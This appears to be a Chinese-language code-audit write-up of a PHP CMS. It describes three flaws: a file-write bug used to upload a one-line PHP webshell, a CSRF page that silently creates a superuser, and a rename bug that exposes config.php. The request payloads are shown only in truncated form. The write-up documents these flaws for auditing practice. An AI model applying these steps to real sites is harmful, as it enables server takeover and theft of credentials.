显而易见没有过滤参数就拼接在file_put_contents函数中,构成文件上传漏洞
Payload如下:
1 | POST /dapur/apps/app_theme/libs/save_file.php HTTP/1.1 |
在网站根目录下上传一个文件名为demo.php的一句话木马文件,结果如下图
成功上传一句话木马文件
/dapur/apps/app_user/sys_user.php 第110-123行
1 | if(isset($_POST['save']) or isset($_POST['apply'])){ |
这是一个添加用户的程序,但是没有加入token验证,所以可以造成CSRF攻击,添加超级用户
我们先抓取添加用户的包,确定需要提交的参数,抓包结果如下
1 | POST /dapur/?app=user&act=add HTTP/1.1 |
构造好的用于建立超级用户的网页代码如下:
1 | <html> |
用户访问https://127.0.0.1/demo.html,就会立即生成test66的超级用户
/dapur/apps/app_config/sys_config.php 第190-193行
1 | $new_folder = $_POST['folder_new']; |
对POST传递的参数folder_new和folder_old未进行过滤拼接至rename函数进行文件名修改操作
Payload:
1 | POST /dapur/?app=config HTTP/1.1 |
将网站根目录config.php文件修改成config.txt文件
直接可以查看网站的配置信息
该CMS存在大多的问题都是由于未对用户提交的参数进行过滤处理,导致一系列的漏洞发生,本次审计漏洞难度较简单,网站结构相对于zzcms较为复杂,还需要多加实践增加审计的经验
]]>